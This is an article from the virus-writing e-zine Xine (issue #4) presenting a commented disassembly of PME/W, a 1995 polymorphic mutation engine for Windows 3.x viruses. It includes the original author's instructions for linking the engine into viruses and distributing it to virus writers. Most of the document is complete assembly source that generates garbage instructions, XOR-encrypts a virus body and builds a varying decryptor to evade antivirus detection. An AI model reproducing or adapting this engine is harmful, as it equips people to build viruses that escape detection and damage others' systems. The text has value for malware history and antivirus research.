Copy Link
Add to Bookmark
Report
Xine - issue #4 - Phile 310
/-----------------------------\
| Xine - issue #4 - Phile 310 |
\-----------------------------/
; ===========================================================================
; PME/W v0.00 Phantasie Mutation Engine for Windows v0.00
; ===========================================================================
;
; Name : PME/W
; Version : 0.00
; Original Author : Burglar
; Original Size : 1412 bytes
; Platform : Win3x
; Kind : Polymorphic Engine
; Origin : Taipei (Taiwan)
; Dissassembly by : Billy Belceb£/iKX
;
; Some comments :
;
; Here follows my second dissassembly (after KRTT, see my VWGs), and i hope
; it won't be the last. I don't know if anyone had dissassemblied this engine
; before, but here i am, i did it (all) the 18 of May, in a boring afternoon
; after doing a 'physic' exam. Well, ehem, nobody wants to know my life :)
;
; The engine itself is very simple, besides the fact it's for Win3x viruses,
; i hadn't found anything special on it, and i really think that AV won't ha-
; ve to work much to detect it (as it has many fixed bytes). Well, you will
; see all the details in the engine itself. Now, here you have its original
; documentation.
;
; ---[ PME/W DOCUMENTATION ]-------------------------------------------------
;
; Phantasie Mutation Engine for Windows <tm> Version 0.00
; Written by Burglar in Taipei, Taiwan. (95/07/16)
;
;
; 1. License
;
; You are free to include this Engine in your Windows virii, and
; your Windows virii don't injure anything. Injure anything is
; prohibited.
;
;
; 2. How to use it
;
; when you want use it, you must declare below at first in code
; segment.
;
; EXTRN PMEW:NEAR, PMEW_END:NEAR
;
; Then you write your Windows virii as usual. When you need to
; encrypt the code, you just call the Engine. Put the following
; instruction in your code:
;
; CALL PMEW
;
; You also need to supply the parameters for the Engine. They are
; passed in registers. Results are also passed in registers.
;
; Of course, you must link the PMEW.OBJ module to your Windows virii
; !
;
; PMEW_END labeled the tail of your virii that includes the engine,
; and you can use OFFSET PMEW_END to get the length of your Windows
; virii that includes the engine.
;
;
; 3. Input parameters
;
; All parameters are mandatory. Description follows:
;
; ES:DI => Work space
;
; The Engine needs work space. For placing product (decrypt code
; & encrypted code) which is generated by PME/W.
;
; DS:SI => Code to encrypt
;
; On entry, just set DS:SI to point to the code you want to be
; encrypted.
;
; CX = Length of code to encrypt
;
; On entry, just set CX to the length of the code you want to be
; encrypted.
;
; DX:AX => Relocation fixup information
;
; When your virii has relocation records (such as you may call the
; Windows APIs to do something, or your virii will pass control to
; host program via intersegment jump, etc.) , you have to pass
; pertinent information to PME/W.
;
; Format of relocation fixup information:
; Offset Size Description
; 00h WORD number of relocation items
; 02h 2N BYTEs relocation items
; Offset Size Description
; 00h WORD offset within segment
;
; ATTENTION!
; Your Windows virii must be zero start! (i.e. begin running with
; CS:0000)
;
;
; 4. Results
;
; The Engine returns the following values in registers:
; (all other except for the listed below will be PRESERVED)
;
; CX = Length of the decryption routine
;
; CX now has the length of decryption routine.
; ATTENTION! (mere length of decryption routine)
;
; The product (decryption routine & encrypted code) which generated
; by PME/W is placed in Work space (i.e. pointed by ES:DI)
;
;
; 5. Final Notes
;
; SPECIAL THANKS:
;
; qark (for your Windows infection theory & WinSurfer)
; quantum (for WinSurfer & grin me !@#$%^&*)
; metabolis (for leading vlad magazine & tons of stuff)
; malware (for NE format detail)
; lookout (for tons of stuff)
; kdkd (for tons of stuff & blah.gif - fxxx with horse !@#$%^&*)
; horde (for tons of stuff - cvdq.arj)
; dread (for giving me a account in Russia)
; theora (you are the only one female interested in virii, could you
; be my girl friend ?!)
; slash (hehe... my teacher & confident)
;
;
; Well, that's for now. No time for more. No demonstration program
; .
;
; Pass the Engine (all files together in an archive) to Windows virii
; programmers.
;
;
; Greetings to all virii programmers
;
; Burglar
;
; Taipei, Taiwan.
;
; ---[ PME/W DOCUMENTATION ]-------------------------------------------------
;
; Well, i sincerely hope that you find this simple (but very well coded) en-
; gine interesting. If anyone wanna know, i did this dissassembly with IDA :)
; Get it from internet (it's big, but a very good program). Thanks to Slage,
; for the 'thingy' that he gave me in Italy, and to Darkman, because he is
; the IDA god :)
;
; Btw, maybe you have seen that it ain't too much commented... i don't like
; to comment code that ain't mine... maybe i will improve this, but not now,
; not today.
;
; Bored and apathetic,
; Billy Belceb£/iKX
;
p486
_PMEW segment byte private '' use16
assume cs:_PMEW
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
public PMEW,PMEW_END
PMEW:
jmp short engine_start
nop ; hehehe
PMEW_Mark db " PME for Windows v0.00 (C) Jul 1995 By Burglar "
engine_start proc near
push ax ; Push AX in stack
push bx ; Push BX in stack
push dx ; Push DX in stack
push bp ; Push BP in stack
push si ; Push SI in stack
push di ; Push DI in stack
push ds ; Push DS in stack
push es ; Push ES in stack
mov bp, ds ; BP -> DS
push ax ; Push AX in stack
push cs
pop bx ; BX -> CS
mov ax, 0Ah
int 31h ; DPMI Services ax=func xxxxh
; CREATE CODE SEGMENT ALIAS DESCRIPTOR
; BX = code segment selector
; Return: CF set on error
; CF clear if successful,
; AX = new data selector
mov ds, ax ; DS = new data selector = AX
pop ax ; Restore AX from stack
call _delta ; Get Delta Offset
_delta:
pop bx
sub bx, offset _delta
init_values:
mov ds:shit[bx], 0FDAAh ; Put SHIT value to 0FDAAh
mov ds:status_byte[bx], 0 ; Make status byte to be 0
nop ; hehe
mov ds:code_offset[bx], si ; Save offset of code to enc.
mov ds:code_segment[bx], bp ; Save its segment
mov ds:work_space[bx], di ; Save offs. where dec. will go
mov ds:work_segment[bx], es ; Save its segment
mov ds:enc_length[bx], cx ; Save the size to encrypt
mov ds:reloc_offset[bx], ax ; Save offset of RELOC struc
mov ds:reloc_segment[bx], dx ; Save its segment
cld ; Clear direction flag
call pre_garbage ; Generate simple garbage
mov al, 60h ; Generate PUSHAD
stosb ; Store it to ES:[DI]
mov ds:shit[bx], 0 ; Put shit variable to 0
call pre_garbage ; Generate simple garbage
mov al, 1Eh ; Generate PUSH DS
stosb ; Store it to ES:[DI]
call pre_garbage ; Generate simple garbage
mov al, 0Eh ; Generate PUSH CS
stosb ; Store it to ES:[DI]
call pre_garbage ; Generate simple garbage
mov al, 5Bh ; Generate POP BX
stosb ; Store it to ES:[DI]
or ds:shit[bx], 88h
call pre_garbage ; Generate simple garbage
mov al, 0B8h ; Generate MOV AX,imm16
stosb ; Store it to ES:[DI]
mov ax, 0Ah ; Immediate
stosw ; Store it to ES:[DI]
or ds:shit[bx], 11h
call pre_garbage ; Generate simple garbage
mov ax, 31CDh ; Generate INT 31h
stosw ; Store it to ES:[DI]
and ds:shit[bx], 0FF77h
call pre_garbage ; Generate simple garbage
mov ax, 0D88Eh ; Generate MOV DS,AX
stosw ; Store it to ES:[DI]
and ds:shit[bx], 11h
call pre_garbage ; Generate simple garbage
mov al, 0BBh ; Generate MOV BX,imm16
stosb ; Store it to ES:[DI]
push di
scasw ; Store it to ES:[DI]
or ds:shit[bx], 88h
call pre_garbage ; Generate simple garbage
mov ds:jmp_temp[bx], di
call pre_garbage
mov ax, 3780h ; Generate XOR [DI],imm16
stosw ; Store it to ES:[DI]
push di ; Save DI on stack
scasb
call pre_garbage
mov ax, 0D3F7h ; Generate NOT BX
stosw ; Store it to ES:[DI]
call pre_garbage
mov ax, 0DBF7h ; Generate NEG BX
stosw ; Store it to ES:[DI]
call pre_garbage
push ds ; Process RELOCS :)
mov si, ds:reloc_offset[bx]
mov ds, ds:reloc_segment[bx]
mov cx, [si] ; [SI] -> CX
pop ds ; Restore DS from stack
jcxz lets_rock ; If CX = 0 goto lets_rock
l00py: ; ...
mov ax, 0FB81h ; Generate CMP BX, imm16
stosw ; Store it to ES:[DI]
push di ; Save DI
scasw
mov ds:status_byte[bx], 1
nop
call pre_garbage
mov al, 75h ; Generate JNZ
stosb ; Store it to ES:[DI]
push di ; Save DI on stack
scasb
mov ds:status_byte[bx], 0
nop
call pre_garbage
mov ax, 0C383h ; Generate ADD BX,imm16
stosw ; Store it to ES:[DI]
mov al, 4 ; AL -> 4
stosb ; Store it to ES:[DI]
call pre_garbage
pop si ; Restore SI from stack
mov dx, si ; DX = SI
inc dx ; Increase DX
mov ax, di ; AX = DI
sub ax, dx ; AX = AX-DX
mov es:[si], al ; Store AL to ES:[SI]
loop l00py
lets_rock: ; ...
mov ax, 0FB81h ; Generate CMP BX,imm16
stosw ; Store it to ES:[DI]
push di ; Save DI on stack
scasw
mov ds:status_byte[bx], 1
nop
call pre_garbage
mov al, 74h ; Generate JZ
stosb ; Store it to ES:[DI]
push di ; Save DI on stack
scasb
call pre_garbage
mov al, 0E9h ; Generate JMP
stosb ; Store it to ES:[DI]
mov ax, ds:jmp_temp[bx]
mov dx, di ; All this stuff is
add dx, 2 ; because the goddamn JMP
sub ax, dx ; AX = AX-DX
stosw ; Store it to ES:[DI]
call pre_garbage
pop si ; Restore SI from stack
mov dx, si ; DX = SI
inc dx ; Increase DX
mov ax, di ; AX = DI
sub ax, dx ; AX = AX-DX
mov es:[si], al ; Store AL in ES:[DI]
mov al, 1Fh ; Generate POP DS
stosb ; Store it to ES:[DI]
call pre_garbage
mov al, 61h ; Generate POPAD
stosb ; Store it to ES:[DI]
mov ax, di ; AX = DI
sub ax, ds:work_space[bx] ; AX = AX-Work Space (initial DI)
mov ds:temp[bx], ax ; Temp = already generated code size
mov ax, ds:temp[bx] ; Why this if you already have it? :)
add ax, ds:enc_length[bx] ; Add the size to encrypt
pop si ; Restore SI from stack
mov es:[si], ax ; Store AX into ES:[SI]
mov dx, ds ; Put temporally DS in DX
mov si, ds:reloc_offset[bx]
mov ds, ds:reloc_segment[bx]
lodsw ; Get DS:[SI] into AX
mov cx, ax
jcxz copy_virus ; if CX = 0 goto copy_virus
dec ax ; Decrease AX
shl ax, 1 ; Multiply AX per 2
add si, ax ; Add it to SI
std ; Set Direction Flag
make_temp: ; ...
lodsw ; Get DS:[SI] into AX
mov bp, ds ; DS -> BP
mov ds, dx ; DX -> DS
add ax, ds:temp[bx]
mov ds, bp ; BP -> DS
pop bp ; Restore BP
mov es:[bp], ax ; AX -> ES:[BP]
loop make_temp
cld
copy_virus: ; ...
mov ds, dx ; DS = DX
call random ; Get a random number
pop bp ; Restore BP from stack
mov es:[bp], al ; ES:[BP] <- AL
pop bp ; Restore BP again
push ds:temp[bx] ; Push memory address
pop word ptr es:[bp] ; And pop there
mov cx, ds:enc_length[bx] ; Size to copy
mov si, ds:code_offset[bx] ; From where copy (offset)
mov ds, ds:code_segment[bx] ; From what segment
push di ; Save DI
repe movsb ; Copy DS:[SI] to ES:[DI]
pop di ; Restore DI
mov ds, dx ; DS = DX
mov bp, ds:temp[bx] ; Setup encryption routine
mov cx, ds:enc_length[bx]
mov si, ds:reloc_offset[bx]
mov ds, ds:reloc_segment[bx]
crypt_virus: ; ...
push ax ; All this and the below thingies
push cx ; are the fucken encryption loop...
push si ; Save SI on stack
xor es:[di], al ; Encryption operation
inc di ; Increment index
lodsw ; Get DS:[SI] into AX
mov cx, ax ; AX = CX
jcxz close_engine ; If CX = 0 goto close_engine
pseudo_loop: ; ...
lodsw ; Get DS:[SI] into AX
add ax, bp ; Normalize
push ds ; Save DS
mov ds, dx ; DS = DX
add ax, ds:work_space[bx] ; AX = AX+work space
pop ds ; Restore DS
cmp di, ax ; Compare DI with AX
jnz fix_it ; Aren't they equal?
add di, 4 ; If they are equal, DI=DI+4
fix_it: ; ...
loop pseudo_loop
close_engine: ; ...
pop si ; Restore SI
pop cx ; Restore CX
pop ax ; Restore AX
loop crypt_virus ; Cryption loop
mov ds, dx ; DS = DX
mov cx, ds:temp[bx] ; CX = Decryptor size
pop es ; Restore ES
pop ds ; Restore DS
pop di ; Restore DI
pop si ; Restore SI
pop bp ; Restore BP
pop dx ; Restore DX
pop bx ; Restore BX
pop ax ; Restore AX
retn ; Return to caller
engine_start endp
pre_garbage proc near ; ...
push si ; Save SI on stack
call random ; Get a random number
aam 20h
cbw
mov bp, ax
add bp, di
loop_pre_gbg: ; ...
call random ; Get a random number
and al, 1 ; make it to be [0..1]
shl al, 1 ; multiply per 2
mov si, ax ; put it in SI
and si, 0FFh ; clear msb of SI
mov si, ds:pseudo_table[bx+si] ; Get an offset
lea si, [bx+si]
call si ; call it
cmp di, bp
jb loop_pre_gbg ; shitz...
pop si
retn
pre_garbage endp
get_pseudo_rib: ; ...
push ax
push cx
push dx
push si
call random ; Get a random number
aam 9 ; Adjust After Multiplication to 9 =)
test ds:status_byte[bx], 1
nop
jz fix_it1 ; Needs fix?
and al, 0 ; Yeah, it needs :)
fix_it1: ; ...
cbw
mov si, ax
mov ah, ds:rib_table[bx+si]
call random
test al, 1
jnz tons_of_shit
call get_poly_table
push ax
shr al, 3 ; Shift 3 bytes left [xx???xxx]
and al, 1 ; Must be between 0 and 1
or ah, al
call random ; Get a random number
and al, 2 ; AL must be between 0 and 2
or ah, al
xchg al, ah
stosb ; Store it to ES:[DI]
or ah, ah
pop ax
mov ah, al
call random
jnz okay_not_zero
and ah, 7 ; Add AH xxxxx111
and al, 38h ; Must be xx???xxx
jmp short finish_him
nop
okay_not_zero: ; ...
shl ah, 3 ; Shift left 3 bytes
and ah, 38h ; Must be xx???xxx
and al, 7 ; Add xxxxx111
finish_him: ; ...
or al, 0C0h ; Add the first 2 bits 11xxxxxx
or al, ah
stosb ; Store it to ES:[DI]
jmp short exit_func
nop
tons_of_shit: ; ...
or ah, 2
call get_poly_table
push ax
shr al, 3 ; Some math operations
and al, 1
or ah, al
mov al, ah
stosb ; Store it to ES:[DI]
pop ax ; Restore AX
shl al, 3
and al, 38h
or al, 6
stosb ; Store it to ES:[DI]
call random ; Get a random number
mov ah, al ; AH = AL
call random ; Get a random number
xor dx, dx ; DX = 0
mov cx, 1FFh
div cx ; Divide AX per 1FFh
stosw ; Store it to ES:[DI]
exit_func: ; ...
pop si ; Restore SI
pop dx ; Restore DX
pop cx ; Restore CX
pop ax ; Restore AX
retn ; Return to caller
gen_onebyter: ; ...
push si ; Save SI on stack
call random ; Get a random number
aam 5 ; Interesting instruction this AAM ;)
cbw
mov si, ax ; SI = AX
mov al, ds:one_byters[bx+si]
stosb ; Store it to ES:[DI]
pop si
retn
get_poly_table: ; ...
push si ; Save SI
call random ; Get a random number
and al, 0Fh ; Between [00..15]
shl al, 1 ; Multiply per 2
mov si, ax ; Put in SI
and si, 0FFh ; only lsb of SI is interesting
mov si, ds:test_table[bx+si] ; Get an offset
lea si, [bx+si]
call si ; Call the function pointed by it
pop si ; Restore SI
jnz get_poly_table ; Not zero? shit
shr al, 1 ; Divide per 2
retn
; All this shitty TESTs =)
test_1: ; ...
test ds:shit[bx], 1
retn
test_2: ; ...
test ds:shit[bx], 2
retn
test_4: ; ...
test ds:shit[bx], 4
retn
test_8: ; ...
test ds:shit[bx], 8
retn
test_10: ; ...
test ds:shit[bx], 10h
retn
test_20: ; ...
test ds:shit[bx], 20h
retn
test_40: ; ...
test ds:shit[bx], 40h
retn
test_80: ; ...
test ds:shit[bx], 80h
retn
test_11: ; ...
test ds:shit[bx], 11h
retn
test_22: ; ...
test ds:shit[bx], 22h
retn
test_44: ; ...
test ds:shit[bx], 44h
retn
test_88: ; ...
test ds:shit[bx], 88h
retn
or_al_al: ; ...
or al, al
retn
test_200: ; ...
test ds:shit[bx], 200h
retn
test_400: ; ...
test ds:shit[bx], 400h
retn
test_800: ; ...
test ds:shit[bx], 800h
retn
; The PME/W's RNG (Random Number Generator)
random proc near ; ...
pushf ; This procedure is for obtain a rand.
push cx ; number in AL :)
push ax
in al, 40h ; Timer 8253-5 (AT: 8254.2).
mov cl, al
in al, 40h ; Timer 8253-5 (AT: 8254.2).
mov ah, al
in al, 40h ; Timer 8253-5 (AT: 8254.2).
xor al, ah
rcr al, cl
mov cl, al
pop ax
mov al, cl
pop cx
popf
retn
random endp
; Some data
shit dw ?
status_byte db ?
code_offset dw ?
code_segment dw ?
work_space dw ?
work_segment dw ?
reloc_offset dw ?
reloc_segment dw ?
enc_length dw ?
temp dw ?
jmp_temp dw ?
rib_table db 88h ; Table with information needed
db 00h ; for RegInfoByte thingy
db 10h
db 28h
db 18h
db 38h
db 20h
db 08h
db 30h
; Table of do-nothing one-byters, used as garbage
one_byters db 0FCh ; CLD
db 0FDh ; STD
db 0F3h ; REP
db 0F2h ; REPNZ
db 90h ; NOP
; Some tables of all TESTs
test_table dw offset test_1
dw offset test_2
dw offset test_4
dw offset test_8
dw offset test_10
dw offset test_20
dw offset test_40
dw offset test_80
dw offset test_11
dw offset test_22
dw offset test_44
dw offset test_88
dw offset or_al_al
dw offset test_200
dw offset test_400
dw offset test_800
; Tables for generate interesting stuff
pseudo_table dw offset get_pseudo_rib
dw offset gen_onebyter
PMEW_END label byte
_PMEW ends
end